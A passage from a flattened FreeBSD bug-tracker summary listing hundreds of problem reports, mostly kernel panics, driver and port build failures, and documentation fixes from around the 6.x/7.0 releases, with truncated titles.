ntpd(8): ntpd is crashing at startup o kern/124021 net [ip6] [panic] page fault in nd6_output() o kern/123992 qingli [ecmp] ECMP does not remove/disable next-hop for downe p kern/123991 qingli [ecmp] ECMP balancing issues o i386/123990 i386 [boot] BTX halted on Thinkpad x60s o i386/123981 i386 [pxeboot] You can't usefully PXEBOOT the 7.0-RELEASE-i o kern/123980 [ata] [patch] Implement ATA UDMA speed limit (hw.ata.a p bin/123977 Segmentation fault in dialog(1) with ghostscript-gpl-n o usb/123969 usb [usb] Supermicro H8SMi-2 usb problem: port reset faile o kern/123968 net [rum] [panic] rum driver causes kernel panic with WPA. o kern/123962 geom [panic] [gjournal] gjournal (455Gb data, 8Gb journal), p kern/123961 net [vr] [patch] Allow vr interface to handle vlans o www/123946 bugmeister query-pr.cgi fails on shar-5.sh on ports/118906 o kern/123939 fs [msdosfs] corrupts new files o bin/123932 amd(8) core dumps while load high o ports/123927 devel/Boost and devel/boost-python ports naming genera o gnu/123921 [patch] cpio(1): cpio -oc bug with write_out_header() o kern/123904 [ipmi] ipmi(4) reports negative temperature values on o kern/123892 net [tap] [patch] No buffer space available o kern/123890 net [ppp] [panic] crash & reboot on work with PPP low-spee o kern/123887 [ata] PDC20262 does not support 48 bit DMA access o kern/123858 net [stf] [patch] stf not usable behind a NAT o kern/123855 philip moused(8): spontaneous mouse events f kern/123813 [panic] 7.0-STABLE i386 reboots weekly with panic: kme p bin/123807 imp [patch] timed(8) does not run on arm (incorrect getopt o kern/123796 net [ipf] FreeBSD 6.1+VPN+ipnat+ipf: port mapping does not o kern/123793 bz [ipsec] [patch] KAME IPSEC does not pass processed pac o kern/123778 vwe [panic] [ffs] [msgs] server reboots when running 130.c o i386/123775 [dri] DRI Broken under freebsd7-stable/i386 o bin/123774 [patch] kdump(1): time_t printing issues o ports/123769 luigi Modules compiled using devel/linux-kmod-compat can't b o kern/123758 gnn [panic] panic while restarting net/freenet6 o kern/123755 dfr [nfs] fstat(1) fails to return ESTALE with rename()d f p kern/123754 mav [ata] [panic] atacontrol(8): atacontrol reinit causing f kern/123742 [acpi] [panic] kernel panic when boot with acpi disabl o kern/123735 [panic] 7.0-STABLE kernel panic "AP #1 (PHY# 1) failed o conf/123734 rc [patch] Chipset VIA CX700 requires extra initializatio o usb/123714 usb [usb] [panic] Panic when hald-storage-probe runs with o bin/123703 [patch] timed(8): qualify bad diagnostic in src/usr.sb o bin/123693 [patch] burncd(8): workaround for busy cd-writer while o usb/123691 usb usbd(8): usbd hangs o usb/123690 usb [usb] [panic] Panic on USB device insertion when usb l o stand/123688 standards POSIX standard changes in unistd.h and grp.h o kern/123674 scsi [ahc] ahc driver dumping o kern/123666 scsi [aac] attach fails with Adaptec SAS RAID 3805 controll o bin/123644 [patch] [sysctl] Allow sysctl(8) to ignore unknown OID o bin/123635 jot(1) handles 'stuttering sequences' and reversed ran o kern/123634 [vm] [panic] kernel panic with FreeBSD 7-STABLE o bin/123633 net ifconfig(8) doesn't set inet and ether address in one o kern/123630 geom [patch] [gmirror] gmirror doesnt allow the original dr o kern/123629 [panic] Fatal trap 12: page fault while in kernel mode f kern/123617 net [tcp] breaking connection when client downloading file o usb/123611 usb [usb] BBB reset failed, STALLED from Imation/Mitsumi U o ports/123608 glewis java/jdk16 port fails to build o kern/123603 net [tcp] tcp_do_segment and Received duplicate SYN o kern/123587 bz [ipsec] IPCOMP broken in IPSEC (FAST_IPSEC for RELENG_ o bin/123574 daichi [unionfs] df(1) -t option destroys info for unionfs (a o ports/123570 itetcu audio/cpige version 1.5 coredumps if new .conf entries p kern/123568 gnn [lo] loopback interface error (don`t ask) f sparc/123566 kmacy [zfs] zpool import issue: EOVERFLOW f kern/123563 yongari [re] watchdog timeout o amd64/123562 amd64 [install] FreeBSD amd64 not installs o kern/123559 net [iwi] iwi periodically disassociates/associates [regre o java/123555 java linux-sun-jdk15, linux-sun-jdk16 produce a coredump o misc/123554 [build] buildworld with TARGET_ARCH=i386 fails on amd6 o bin/123553 [patch] Prevent indent(1) from splitting unrecognized o conf/123551 [patch] [periodic] /etc/periodic/daily/440.status-mail s ports/123526 gerald emulators/wine crashes with many ZFS configurations o amd64/123520 amd64 [ahd] unable to boot from net while using ahd p kern/123518 [patch] src/sys/kern.mk fails to disable -msse3 for am o conf/123516 [periodic] Daily Security Logs Not Reporting Failed Lo o usb/123509 usb [umass] continuous reset Samsung SGH-G600 phone f usb/123508 vwe [umass] [msdosfs] damaged files (mp3,txt , etc) on fla o docs/123484 edwin [patch] teach pxeboot.8 about ISC DHCP v3 a ports/123468 itetcu mail/postgrey: information leak, privacy issue o bin/123465 net [ip6] route(8): route add -inet6 -interfac o kern/123463 net [ipsec] [panic] repeatable crash related to ipsec-tool o i386/123462 i386 clock is too fast o amd64/123456 amd64 fstat(1): /usr/bin/fstat shows error messages and hang o misc/123452 mailman trustedbsd-audit email list not archiving o kern/123429 net [nfe] [hang] "ifconfig nfe up" causes a hard system lo o bin/123418 [patch] du(1): add -g (Gbyte) option to du(1) + manpag a ports/123410 dinoex graphics/pornview segmentation fault p kern/123399 [build] RELENG_7 kernel does not compile if IPV6 suppo o kern/123392 [vfs] [lor] lock order reversal in vfs o kern/123359 [hang] Install hangs before sysinstall a kern/123358 [ipfw] ipfw add 1000 allow IP from any to any doesn't o usb/123352 usb [usbdevs] [patch] Add Option GTMAX3.6/7.2 and Quallcom o usb/123351 usb [usbdevs] [patch] Add Reiner SCT cyberJack, Omnikey [2 o kern/123347 net [bge] bge1: watchdog timeout -- linkstate changed to D o conf/123330 net [nsswitch.conf] Enabling samba wins in nsswitch.conf c p bin/123329 phk [patch] usage strings for fifolog_create(1) and fifolo s bin/123304 sysinstall(8): missing sensible and user friendly prog o kern/123287 [devfs] structure used after freed in destroy_devl() i o kern/123279 thompsa [lagg] order of operations dependancy in bringing up l f amd64/123275 amd64 [cbb] [pcmcia] cbb/pcmcia drivers on amd64 failure [re o kern/123256 net [wpi] panic: blockable sleep lock with wpi(4) o misc/123240 [nanobsd] [patch] rerunning nanobsd.inc.sh fails becau o bin/123237 randi sysinstall(8): [patch]: sysinstall(8) -- remove dummy o conf/123222 rc [patch] Add rtprio(1)/idprio(1) support to rc.subr(8). o ports/123185 portmgr [patch] Mk/bsd.port.mk - Add extended description to O o kern/123177 secteam [random] [patch] arc4rand(9) produces the same sequenc f kern/123172 net [bce] Watchdog timeout problems with if_bce o kern/123166 yongari [re] CARP messages filtered by Realtek driver on > 6.2 o kern/123160 net [ip] Panic and reboot at sysctl kern.polling.enable=0 o misc/123156 [build] [patch] make.conf update to "make update" sect o misc/123155 [build] [patch] src/Makefile.inc1 bug: remove obsolete f ports/123154 python New port: devel/py-yapps2 (an easy-to-use parser gener p kern/123147 remko [ti] [patch] ti(4) doesn't use mii, but kernel configs o kern/123140 [smp] SMP boot causes slow KB, ATA drives not detected f ports/123137 x11 x11/libX11: missing ru_RU.UTF-8 locale o kern/123122 geom [geom] GEOM / gjournal kernel lock o conf/123119 ipfw [patch] rc script for ipfw does not handle IPv6 o kern/123095 [libc] sendfile(2): Suspected sendfile data corruption p bin/123069 [patch] ps(1): invalid value of 'elapsed' field in ps o ports/123068 sysutils/bubblemon2 bubblemon-dockapp: error extractin f kern/123066 vanhu [ipsec] [panic] kernel trap with ipsec f kern/123045 gonzo [ng_mppc] ng_mppc_decompress - disabling node o ports/123042 portmgr [patch] bsd.port.mk - Fix USE_LDCONFIG when used with o kern/123039 acpi [acpi] ACPI AML_BUFFER_LIMIT errors during boot f docs/123038 trhodes [patch] update to projects/c99/index.sgml p docs/123035 trhodes [patch] bugs in refuse.README a bin/123021 [patch] mount(8): mount -p shows incorrect mount optio o bin/123015 brooks [patch] rc.conf(8): implement automated creation of /e o kern/123013 [vm] panic "Bad tailq NEXT(%p->tqh_last) != NULL" o usb/122992 usb [umass] [patch] MotoROKR Z6 Phone not recognised by um o ports/122991 glewis java/jdk16 does not compile from ports o kern/122989 net [swi] [panic] 6.3 kernel panic in swi1: net o ports/122974 dougb [PATCH] dns/bind94: add DLZ config options f amd64/122970 yongari [re] [hang] RealTek 8168/8111B couses system crash o conf/122968 [md] md swapfile multiplication after init 1 o kern/122963 ipfw [ipfw] tcpdump does not show packets redirected by 'ip o usb/122956 usb [ubsa] [patch] add support for Novatel Wireless XU870 o kern/122954 net [lagg] IPv6 EUI64 incorrectly chosen for lagg devices o kern/122951 firewire [firewire] video-transfer via fwcontrol triggers a pan o usb/122936 usb [ucom] [ubsa] Device does not receive interrupt o kern/122928 net [em] interface watchdog timeouts and stops receiving p o threa/122923 threads 'nice' does not prevent background process from steali f ports/122922 multimedia [patch] multimedia/ffmpeg text output is mangled f kern/122915 [smp] Incorrect system cpu load o usb/122905 usb [ubsa] [patch] add Huawei E220 to ubsa f ports/122890 stas Update port: www/ocaml-net (revision, added options) o kern/122888 fs [zfs] zfs hang w/ prefetch on, zil off while running t a i386/122887 i386 [panic] [atkbdc] 7.0-RELEASE on IBM HS20 panics immed o conf/122883 [patch] login class for ukrainian users accounts f kern/122880 vwe [hang] Kernel lock-up during 7.0 installation disc boo o ports/122877 portmgr [patch] Mk/bsd.port.mk - Show all pkg-message files f kern/122839 net [multicast] FreeBSD 7 multicast routing problem o kern/122838 [devfs] devfs doesn't handle complex paths (like zvol/ o ports/122830 x11 x11/xorg: Error in I830WaitLpRing() o usb/122819 usb [usb] [patch] Patch to provide dynamic additions to th o usb/122813 usb [udbp] [request] udbp driver should be removed in favo o ports/122801 skv databases/virtuoso, databases/firebird20-client, datab p kern/122794 net [lagg] Kernel panic after brings lagg(8) up if NICs ar o kern/122782 amd64 [modules] accf_http.ko kernel module is not loadable o kern/122780 net [lagg] tcpdump on lagg interface during high pps wedge o kern/122773 pf [pf] pf doesn't log uid or pid when configured to o kern/122772 net [em] em0 taskq panic, tcp reassembly bug causes radix o kern/122749 [cardbus] cardbus problem on IBM Thinkpad T60P o kern/122743 net [mbuf] [panic] vm_page_unwire: invalid wire count: 0 o kern/122738 geom [geom] gmirror list "losts consumers" after gmirror de o kern/122697 net [ath] Atheros card is not well supported o amd64/122695 amd64 [cpufreq] Lack of cpufreq control using amd64 eith cor o kern/122685 net It is not visible passing packets in tcpdump(1) a kern/122683 [sio] [freeze] access to non-existent sio port /dev/cu o kern/122670 [ata] [patch] broken acd_get_progress = ioctl CDRIOCGE p bin/122659 stefanf [patch] sh(1) long arithmetics broken on certain archi o bin/122652 [patch] du(1) support for inode count f i386/122644 i386 [panic] on-boot mount /tmp kernel dump o ports/122639 danfe audio/gtkpod - Confilicting include files break builds o amd64/122624 amd64 unusable minimal installation of FreeBSD-7.0 o i386/122623 i386 [build] [patch] bsd.cpu.mk doesn't handle opteron/athl o usb/122621 usb [new driver] [patch] New driver for Sierra Wireless 3G o ports/122616 python databases/py-pyPgSQL - apply bytea escape bug patch in o kern/122615 [devfs] [panic] occasional crash/boot while running Xo o i386/122602 i386 [build] i386/conf/PAE does not compile on RELENG_7 a kern/122597 thompsa [iwi] Intel iwi fails after 3 - 4 hours of use"firmwar o kern/122588 [lor] 4 Lock Order Reversal a kern/122565 bz [ipsec] [ip6] Possible memory overwrite for IPv6 IPsec o kern/122563 bz [ipsec] KEY_FREESAV() in FreeBSD-Release7.0 o kern/122562 bz [ipsec] IPsec AH tunneled packet mis handling? o kern/122551 net [bge] Broadcom 5715S no carrier on HP BL460c blade usi o amd64/122549 amd64 7.0-RELEASE-amd64-bootonly.iso doesn't work w/ serial o usb/122547 usb [ehci] USB Printer not being recognized after reboot o usb/122539 usb [ohci] [panic] AnyDATA ADU-E1000D - kernel panic: ohci o ports/122524 demon www/links1 uses 7-bit us-ascii codepage only when usin o bin/122522 kensmith sysinstall(8) doesn't unmount CD for multi-CD package o bin/122519 [patch] ppp(8): ppp provides deficient DNS info o java/122513 java native JDKs unbuildable with Linux ones f kern/122493 gavin [boot] BTX Halted - Cause is Promise Fastrack SATA PCI o usb/122483 usb [panic] [ulpt] Repeatable panic in 7.0-STABLE o bin/122479 openssl(1): openssl SEGV with DTLS o conf/122477 rc [patch] /etc/rc.d/mdconfig and mdconfig2 are ignoring o amd64/122468 amd64 Compile problems after upgrading to 7.0 f kern/122462 [boot] Fails to boot from an usb harddrive o conf/122445 Unable to override EDITOR in /etc/profile due to defau o ports/122422 mbr Update port: mail/up-imapproxy fix rc.d script to actu f kern/122415 geom [geom] UFS labels are being constantly created and rem o kern/122380 fs [ffs] ffs_valloc:dup alloc (Soekris 4801/7.0/USB Flash o kern/122373 jfv [em]: unable to recieve on em 82542 w/o promisc f kern/122368 [ata]: Failure to support SATA/PATA drives on 6.3 and f ports/122341 portmgr Mk/bsd.port.mk: deprecate X11BASE use o ports/122333 gavin net/arping - patch to lookup for interface and src ip, o kern/122331 [wpa] [panic] 7.0-RELEASE && panic in Wifi area with W o kern/122321 [mpt] Hitachi SCSI drive can't be written to o kern/122319 net [wi] imposible to enable ad-hoc demo mode with Orinoco o ports/122305 multimedia multimedia/gstreame - gst-inspect-0.10 hangs when chec o kern/122301 [build] kernel compile with "options DEBUG_LOCKS" fail f misc/122300 kensmith [build] [patch] SEPARATE_LIVEFS arch dependent set but o ports/122299 luigi multimedia/linux-ov511-kmod fails to build on FreeBSD o kern/122291 [ata] acd0: timeout waiting to issue command / acd0: e o kern/122290 net [netgraph] [panic] Netgraph related "kmem_map too smal o kern/122288 [md] [patch] mdconfig(8) returning negative unit numbe o bin/122271 [patch] usr.bin/xinstall - Add support for -D option ( f kern/122252 net [ipmi] [bge] IPMI problem with BCM5704 (does not work o bin/122235 [psm] freebsd-7.0 moused(8) problems with ALPS GlidePo o kern/122195 net [ed] Alignment problems in if_ed o amd64/122174 amd64 [panic] 7.0 no longer includes "device atpic" so fails o kern/122173 fs [zfs] [panic] Kernel Panic if attempting to replace a o bin/122172 fs [fs]: amd(8) automount daemon dies on 6.3-STABLE i386, o conf/122170 rc [patch] [request] New feature: notify admin via page o o i386/122148 i386 [irq] interrupt storm on 7.0 [regression] s kern/122145 sam [build] error while compiling with device ath_rate_amr p bin/122137 matteo [patch] Have crontab(1) use snprintf instead of sprint o ports/122122 mi print/lyx crashes if devel/boost is compiled with thre o usb/122119 usb [umass] umass device causes creation of daX but not da o kern/122109 piso [ipfw] ipfw nat traceroute problem o kern/122086 multimedia [sound] maestro sound driver is working, but mixer ini f kern/122082 rwatson [tcp] NULL pointer dereference in in_pcbdrop p bin/122070 matteo [patch] crontab(1): Zero out pw_passwd in crontab o kern/122067 geom [geom] [panic] Geom crashed during boot f kern/122065 bz [ipsec] [gre] gre over ipsec not working f kern/122061 [libc] dlsym(3) is very slow when a symbol cannot be f o kern/122058 net [em] [panic] Panic on em1: taskq f docs/122052 doc minor update on handbook section 20.7.1 p stand/122051 davidxu Add posix_spawn(3) o kern/122047 fs [ext2fs] [patch] incorrect handling of UF_IMMUTABLE / o kern/122046 [psm] Synaptics touchpad freezes (psm0: lost interrupt p kern/122045 [ata] [panic] reiniting detached ata channel kills the o bin/122043 [patch] du(1) does not support byte-count-based report o kern/122038 fs [tmpfs] [panic] tmpfs: panic: tmpfs_alloc_vp: type 0xc o conf/122037 [patch] add rsync example for inetd.conf o kern/122033 net [ral] [lor] Lock order reversal in ral0 at bootup [reg o usb/122025 usb [uscanner] [patch] uscanner does not attach to Epson R o kern/122014 pf [pf] [panic] FreeBSD 6.2 panic in pf f kern/121983 yongari [fxp] fxp0 MBUF and PAE f kern/121962 [snd_emu10k1] [panic] Kernel panics with device pollin o ports/121958 portmgr add sysutils/cdrkit to USE_CDRTOOLS logic o docs/121952 doc Handbook chapter on Network Address Translation wrong o stand/121921 standards [patch] Add leap second support to at(1), atrun(8) o kern/121917 [boot] [patch] Broken boot on Asus P4P800-VM after upg o kern/121907 [request] output to console can obscure other messages o kern/121904 wrong CPU description in dmesg output for AMD Athlon X o i386/121903 i386 [ips] [boot] can't boot on IBM x235 ServeRaid 6M [regr s ports/121902 gabor [PATCH] textproc/ispell add OPTIONS o kern/121899 [ar] [patch] Drive detached from Intel Matrix RAID and o bin/121898 fs [nullfs] pwd(1)/getcwd(2) fails with Permission denied o kern/121897 [patch] realpath(3) segmentation fault o bin/121895 net [patch] rtsol(8)/rtsold(8) doesn't handle managed netw o kern/121872 net [wpi] driver fails to attach on a fujitsu-siemens s711 o docs/121871 doc ftpd does not interpret configuration files as documen s conf/121812 [ip6] [request] ipv6_gateway_enable incorrectly disabl p kern/121809 kris unable to umount s kern/121807 ipfw [request] TCP and UDP port_table in ipfw p conf/121783 cperciva [patch] freebsd-update(8) upgrade overwrites device.hi o bin/121779 fs [ufs] snapinfo(8) (and related tools?) only work for t s kern/121774 net [swi] [panic] 6.3 kernel panic in swi1: net o kern/121770 fs [zfs] ZFS on i386, large file or heavy I/O leads to ke o kern/121768 [cpufreq] cpufreq module RELENG_6 -> 7 regressions on o kern/121761 [cardbus] [dc] a cardbus dc0 causes a system freeze wh o kern/121760 [pccard] [cardbus] an ed1 network pccard's CIS wasn't o kern/121759 [cardbus] [dc] cardbus dc0 initialization failure at o o usb/121755 usb [ohci] [patch] Fix panic after ohci/uhub cardbus devic f ports/121745 vd misc/ossp-uuid - PostgreSQL contrib ossp-uuid crashes o usb/121734 usb [ugen] ugen HP1022 printer device not working since up p docs/121721 trhodes telnetd(8) not describing -X authentication types f kern/121720 thompsa [wpi] wpi doesnt work if kernel has options SCHED_ULE o usb/121708 usb [keyboard] nforce 650i mobo w/ usb keyboard infinite k o kern/121706 net [netinet] [patch] "rtfree: 0xc4383870 has 1 refs" emit o kern/121704 pf [pf] PF mangles loopback packets f kern/121703 [ata] Cannot fdisk/gpt with 1TB SATA disk and 965QM Mo f i386/121699 linimon [boot] can't boot on MSI K9N Ultra o java/121692 java java/jdk16: Java 1.5 1.5.0.14p8 crashes in RMI TCP Con o ports/121688 kde [patch] editors/koffice-kde3: several depencancy fixes o kern/121686 [ata] bogus CHS to LBA mapping in (at least) ata o sparc/121676 scsi [iscsi] iscontrol do not connect iscsi-target on sparc o i386/121675 i386 [ata] incorrect fallback to udma33 with CF memory inst o ports/121672 wes [Patch] mail/mimedefang: opt out of clamav use o bin/121671 bushman [patch] nscd(8) prints needless banner f kern/121660 jkoshy [hwpmc] [patch] hwpmc(4) incorrectly handles PMC sampl o kern/121656 [libc] [patch] telldir(3) issues o kern/121642 bz [ipsec] [gif]: When using IPSec, tcpdump shows non-dec o kern/121624 net [em] [regression] Intel em WOL fails after upgrade to o amd64/121590 amd64 [est] [p4tcc] [acpi_perf] setting dev.cpu.0.freq somet o docs/121585 doc [handbook] Wrong multicast specification o ports/121573 cy security/krb5 (MIT Kerberos) generates non-working ksu f kern/121572 [panic] when downloading from ftp system crash/rebooti o stand/121568 standards [patch] ln(1): wrong "ln -s" behaviour o kern/121566 rc [nfs] [request] [patch] ethernet iface should be broug o docs/121565 doc dhcp-options(5) manpage incorrectly formatted omitting o kern/121559 geom [patch] [geom] geom label class allows to create inacc o kern/121556 kientzle [libarchive] ISO9660 decompression extension unsupport o kern/121555 net [panic] Fatal trap 12: current process = 12 (swi1: net f kern/121550 [drm] Can't config graphics for ATI Radeon Xpress 200M o i386/121549 i386 [nfe]: nfe interface locks up during rc.conf initializ o docs/121545 brd Update Handbook Section 29.3 to include wlan_scan_sta o bin/121542 krion [patch] teach pkg_add(1) to accept PACKAGEROOT and PAC s docs/121541 doc [request] no man pages for wlan_scan_ap o sparc/121539 [ata] Interrupt storm booting 7.0-R/sparc64 on ultra5 o kern/121534 darrenr [ipl] [nat] FreeBSD Release 6.3 Kernel Trap 12: o kern/121521 [ata] [patch] add VIA CX700M2 chipset to ata driver p bin/121512 mtm [sysctl] [patch] sysctl(8) should return 1 if the user o kern/121504 acpi [patch] Correctly set hw.acpi.osname on certain machin o bin/121503 sysinstall(8): 7.0 upgrade doesn't let me mount all of o bin/121502 [patch] option -P appears to be broken in restore(8) s p docs/121490 brueffer [patch] Multiple typos ("in in") in /usr/src files s kern/121485 vwe [vm] panic with 7.0-RELEASE [regression] o usb/121474 usb [cam] [patch] QUIRK: SAMSUNG HM250JI in LaCie usb hard o ports/121472 perl Loading perl scripts causes irc/xchat segmentation fau o kern/121461 [ata] SATA Hard disks are not detected on SiS 180/181 f kern/121454 acpi [pst] Promise SuperTrak SX6000 does not load during bo o kern/121443 net [gif] [lor] icmp6_input/nd6_lookup o docs/121440 keramida rc(8) and rcorder(8) unclear about PROVIDE keyword bei o amd64/121439 acpi [boot] Installation of FreeBSD 7.0 fails: ACPI problem o kern/121437 net [vlan] Routing to layer-2 address does not work on VLA o usb/121426 usb [patch] [uscanner] add HP ScanJet 3570C o bin/121424 doc [patch] [ipfw] Rectify ambiguous English in manual o ports/121420 java java/jdk16: Java applet fails to find class under fire o ports/121416 java java/jdk15 can't build if BIN environment variable is o ports/121413 portmgr [patch] bsd.port.mk: introduce USE_LZMA for lzma-compr a power/121407 ppc [panic] Won't boot up; strange error message. o kern/121396 [ata] 7.0 fails on mcp55 sata controller [regression] f kern/121394 sam [ath] FreeBSD access point (ath0) fails 100% of the ti f www/121391 www Please add us on the ISP pages... o kern/121385 daichi [unionfs] unionfs cross mount -> kernel panic o kern/121382 ipfw [dummynet]: 6.3-RELEASE-p1 page fault in dummynet (cor o kern/121373 bz [ipsec] New IPSEC & IPV6 & AH+ESP Broken o kern/121371 secteam execv undesired use to change a processes credentials o bin/121366 fs [zfs] [patch] Automatic disk scrubbing from periodic(8 o kern/121364 geom [gmirror] Removing all providers create a "zombie" mir o bin/121359 net [patch] ppp(8): fix local stack overflow in ppp o kern/121350 [ata] [panic] initiate_write_inodeblock_ufs2: already o ports/121347 hrs print/teTeX-base and print/texinfo install files in th o ports/121338 ahze print/gutenprint-foomatic - Unable to create the Fooma o kern/121337 [radeon] [panic] Kernel panic on 7.0-RELEASE using ati o threa/121336 threads lang/neko threading ok on UP, broken on SMP (FreeBSD 7 o kern/121322 [panic] 'panic: spin lock held too long' on reboot o docs/121312 doc RELNOTES_LANG breaks release if not en_US.ISO8859-1 o ports/121311 ume sysutils/gkrellm2: gkrellmd won't connect to mbmon, do o kern/121298 net [em] [panic] Fatal trap 12: page fault while in kernel f kern/121294 [panic] kernel panic pcpu.h or 0x00000000 in ?? () o bin/121287 dd(1) ignores any conversions if 'bs' was specified o usb/121275 usb [boot] [panic] FreeBSD fails to boot with usb legacy s o kern/121274 darrenr [panic] Panic in ether_input() with different NIC's. o ports/121270 joerg Upgrade devel/avr-gdb to a more recent version f ports/121259 itetcu New port: net/openamq OpenAMQ is a complete AMQP messa o i386/121258 i386 [boot] FreeBSD 6.3 / 7.0 boot problem [regression] o kern/121257 net [tcp] TSO + natd -> slow outgoing tcp traffic o bin/121243 des [patch] passwd(1) patch for usage with PAM/LDAP o arm/121242 ticso [ate] [patch] Promiscuous mode of if_ate (arm) doesn't o ports/121235 wosch ports/sysutils/socket registers signal handler for SIG o kern/121234 [vm] vm_fault: fault on nofault o usb/121232 usb [usb] [panic] USB CardBus card removal causes reboot s p usb/121184 usb [uipaq] [patch] add ids from linux ipaq driver (plus a p bin/121182 [patch] newfs_msdos(8) should supports devices without o kern/121181 net [panic] Fatal trap 3: breakpoint instruction fault whi o kern/121174 [ral] if_ral loses performance in FreeBSD 7 (RELENG_7) o docs/121173 doc [patch] mq_getattr(2): mq_flags mistakenly described a o usb/121169 usb [umass] Issues with usb mp3 player o bin/121165 pkg_add(1) prints a weird message: PKG_TMPDIR environm p kern/121156 multimedia [sound] [patch] Turn on inverted external amplifier se o i386/121148 gavin [panic] Repeatable sysctl crash (Fatal Trap 12) with A o ports/121143 markus [PATCH] audio/cdparanoia: rip multisession CDs correct o ports/121134 apache www/mod_log_sql2-dtc scoreboard problem a bin/121124 sysinstall(8): FreeBSD 6.3 installation deletes MBR pa o kern/121122 ipfw [ipfw] [patch] add support to ToS IP PRECEDENCE fields o kern/121102 acpi [acpi_fujitsu] [patch] update acpi_fujitsu for the P80 o kern/121080 net [bge] IPv6 NUD problem on multi address config on bge0 o kern/121074 des [patch] Add RFC2617 digest authentication to fetch(3) o kern/121073 [kernel] [patch] run chroot as an unprivileged user o bin/121072 fs [smbfs] mount_smbfs(8) cannot normally convert the cha o conf/121064 [patch] Use ASCII characters for box/line characters i o kern/121061 sam [ath] [panic] panic while ejecting ath(4)-adapter duri o bin/121059 ntpd(8) doesn't sync with servers after dhclient chang f ports/121050 New port: sysutils/heartbeat2 Linux High-Availability o usb/121045 usb [uftdi] [patch] Add support for PC-OP-RS1 and KURO-RS o bin/120994 [patch] alignment violation in chap module of ppp(8) c o conf/120993 [patch] 340.noid -- Add "find -x" capability (don't cr f kern/120991 fs [panic] [fs] [snapshot] System crashes when manipulati o bin/120990 [patch] support "BIOS Boot" partition type in gpt(8) o kern/120989 scottl [udf] [patch] UDF (with DVD RAM) isn't mountable/reada o kern/120970 rnoland [drm] Radeon Problems related to DRM and/or DRI o kern/120966 net [rum] kernel panic with if_rum and WPA encryption o stand/120947 standards xsm ignores system.xsm and .xsmstartup p docs/120945 net [patch] ip6(4) man page lacks documentation for TCLASS o i386/120933 i386 [boot] 6.x and 7.x do not boot from CD on IBM HS20 883 s docs/120917 doc [request]: Man pages mising for thr_xxx syscalls p bin/120891 dwmalone [patch] enhancement to syslogd(8) - always printing lo o kern/120884 [bktr] [patch] bktr driver always stores the contigmal o kern/120872 [libkvm] [patch] fstat exit on signal 11 o bin/120870 [patch] truss(1) shows 'pipe' system call as having 6 o kern/120858 scottl [patch] [cam] panic: ufs_dirbad with CLARiiON CX3-40 o kern/120857 multimedia [snd_emu10k1] snd_emu10k1 driver issues a warning on u o kern/120842 scottl [hptrr] hptrr driver causes detection of Marvell 88SX6 o bin/120813 [patch] grdc(6) off by 500 ms (on average) o kern/120791 [bge] The Broadcom BCM5703 A2 NIC is running a lot of o kern/120787 [atapicam] hardware troubles with atapicam and dvd o usb/120786 usb [usb] [panic] Kernel panic when forced umount of a det o kern/120780 multimedia [snd_hda] snd_hda doesn't work on Dell Latitutude D530 o ports/120756 des [PATCH] sysutils/munin-node: Use fixed GID o ports/120755 des [PATCH] sysutils/munin-main: Use fixed UID/GID o kern/120749 arch [request] Suggest upping the default kern.ps_arg_cache o kern/120733 cperciva libbsm.so.1 missing after upgrading to 6.3-RELEASE o usb/120729 usb [panic] fault while in kernel mode with connecting USB o kern/120717 [ata] boot problem when recognizing ata1 p kern/120714 gonzo [viapm] [patch] viapm driver doesn't work on VIA VT823 o www/120621 bugmeister web interface query-pr-summary.cgi matches no PRs for o kern/120615 scottl [hptrr] hptrr on 6.3-RELEASE/i386 causes filesystem da a misc/120608 linimon gmirror(8) command set on livecd is minimal [regressio o usb/120572 usb [umass] [patch] quirk to support ASUS P535 as umass (a o kern/120566 net [request]: ifconfig(8) make order of arguments more fr o bin/120552 cperciva freebsd-update(8): freebsd-update - -r should check ex o docs/120539 doc Inconsistent ipfw's man page o kern/120534 [ata] Troubles in work with SAS controller Adaptec 941 o ports/120532 portmgr [PATCH] bsd.port.mk - add more recursive-foo targets o kern/120515 acpi [acpi] [patch] acpi_alloc_wakeup_handler: can't alloc o kern/120507 [ata] Errors while burning CDs using burncd(8) o kern/120493 benjsc [wpi] if_wpi.ko fails to load on a Toshiba Satellite P o kern/120487 scsi [sg] scsi_sg incompatible with scanners o kern/120483 fs [ntfs] [patch] NTFS filesystem locking changes o kern/120482 fs [ntfs] [patch] Sync style changes between NetBSD and F o docs/120456 doc ath(4) needs to specify requirement on wlan_scan_sta o conf/120431 rc [patch] devfs.rules are not initialized under certain o conf/120406 rc [devd] [patch] Handle newly attached pcm devices (eg. o kern/120376 imp [ath] High interrupt load when booting with ath (PCMCI o ports/120372 java java/linux-sun-jdk16: linux-sun-jre1.6.0 plugin doesn' f ports/120359 dinoex print/cups port pkg_info improvement -- FreeBSD lp* no o kern/120344 rwatson [panic] FreeBSD 6.3-STABLE panics on high loaded web s p kern/120343 ups [panic] Reproducible Crash - network interface related o usb/120321 usb [hang] System hangs when transferring data to WD MyBoo o ia64/120315 ia64 Backing store switch in exception_save_restart leaves o kern/120304 net [netgraph] [patch] netgraph source assumes 32-bit time f kern/120296 linimon [ata] Unstable SATA on MB with Nvidia MCP 570 SLI chip o bin/120288 fs zfs(8): "zfs share -a" does not send SIGHUP to mountd o usb/120283 usb [panic] Automation reboot with wireless keyboard & mou o kern/120282 imp [ath] [panic] resource_list_release: resource entry is o kern/120281 pf [pf] [request] lost returning packets to PF for a rdr o kern/120270 simon [crypto] [patch] AES-192 and AES-256 support for HW-ac o kern/120266 net [udp] [panic] gnugk causes kernel panic when closing U o conf/120263 [patch] 800.loginfail misses relevant security informa o kern/120262 rnoland [drm] "0MB"; no dri with i915G [regression] o bin/120256 [patch] ftp(1): ftp -u URL/ returns a -1 f kern/120253 kernel crashes after hard disk geometry while probing o kern/120247 scsi [mpt] FreeBSD 6.3 and LSI Logic 1030 = only 3.300MB/s o kern/120232 net [nfe] [patch] Bring in nfe(4) to RELENG_6 o kern/120231 geom [geom] GEOM_CONCAT error adding second drive o ports/120229 apache www/apache20 does not pick up usernames from NIS [regr o conf/120228 rc [zfs] [patch] Split ZFS volume startup / ease ZFS swap f kern/120210 kmacy [zfs] [panic] reboot after panic: solaris assert: arc_ o amd64/120202 amd64 [amd64] [patch] [panic] kernel panic at start_all_aps, o conf/120194 rc [patch] UFS volumes on ZVOLs cannot be fsck'd at boot o kern/120177 [ata] ATA DMA modes don't work on CF cards o ports/120173 jmelo Prevent ports mail/mailman zombieing remote servers/ o java/120146 java java/jdk15: netbeans 6.0 causes java core dump on amd6 o bin/120143 [panic] sysinstall(8): FreeBSD6.3 page faulted after a p kern/120138 jeff [sched_ule] [patch] steal_thresh may be set a wrong va o kern/120130 net 